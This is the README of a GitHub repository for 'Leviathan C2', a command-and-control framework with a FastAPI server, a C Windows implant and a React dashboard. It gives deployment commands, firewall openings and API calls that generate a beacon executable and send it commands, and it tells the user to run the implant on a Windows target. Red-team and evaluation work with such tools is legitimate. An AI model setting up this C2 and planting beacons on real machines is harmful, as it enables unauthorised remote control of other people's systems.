veeramani110400/Leviathan-c2
GitHub: veeramani110400/Leviathan-c2
Stars: 0 | Forks: 0
# Leviathan C2
Custom Command & Control framework with Python FastAPI server, C beacon, and React UI.
## Architecture
- **Server**: Python FastAPI + uvicorn (port 9999)
- **Listeners**: Spawned HTTP servers (e.g., port 8443) for beacon callbacks
- **Beacon**: C-based Windows implant (WinHTTP, compiled with mingw-w64)
- **UI**: React + Vite + Tailwind CSS (port 3000)
## Linux Deployment Steps
### 1. Clone the repo
cd /opt
sudo git clone https://github.com/veeramani110400/Leviathan-c2.git Leviathan_C2
sudo chown -R $(whoami):$(whoami) /opt/Leviathan_C2
cd Leviathan_C2
### 2. Install system dependencies
sudo apt update
sudo apt install -y python3 python3-venv python3-pip nodejs npm mingw-w64
### 3. Setup Python backend
cd /opt/Leviathan_C2
python3 -m venv venv
source venv/bin/activate
pip install fastapi uvicorn[standard] aiosqlite pydantic websockets
### 4. Fix GCC path for Linux
### 5. Setup React UI
cd /opt/Leviathan_C2/ui
npm install
### 6. Update Vite to bind on all interfaces
sed -i "s/host: '127.0.0.1'/host: '0.0.0.0'/" ui/vite.config.js
### 7. Start the server
cd /opt/Leviathan_C2/server
source ../venv/bin/activate
uvicorn main:app --host 0.0.0.0 --port 9999 &
### 8. Start the UI
cd /opt/Leviathan_C2/ui
npm run dev -- --host 0.0.0.0 &
### 9. Open firewall ports
sudo ufw allow 9999/tcp # API server
sudo ufw allow 8443/tcp # Listener (beacon callbacks)
sudo ufw allow 3000/tcp # UI dashboard
### 10. Access & generate payload
- UI: `http://:3000`
- Create a listener on port `8443`
- Build payload with `server_url = `, `server_port = 8443`
- Transfer the `.exe` to your Windows target and run it
## Quick Verify
# Confirm services are running
ss -tlnp | grep -E '9999|8443|3000'
# Confirm cross-compiler works
x86_64-w64-mingw32-gcc --version
# Test API
curl http://localhost:9999/api/listeners
## Windows Local Testing
# Start server
cd z:\Mitre_Eval\Leviathan_C2\server
..\venv\Scripts\python.exe -m uvicorn main:app --host 0.0.0.0 --port 9999
# Start UI
cd z:\Mitre_Eval\Leviathan_C2\ui
npm run dev
# Generate beacon
Invoke-RestMethod -Uri "http://localhost:9999/api/payloads/generate" -Method POST `
-ContentType "application/json" `
-Body '{"server_url":"127.0.0.1","server_port":8443,"format":"exe"}' `
-OutFile "test_beacon.exe"
# Run beacon
Start-Process .\test_beacon.exe
# Send a command
Invoke-RestMethod -Uri "http://localhost:9999/api/tasks" -Method POST `
-ContentType "application/json" `
-Body '{"beacon_id":"","command":"whoami"}'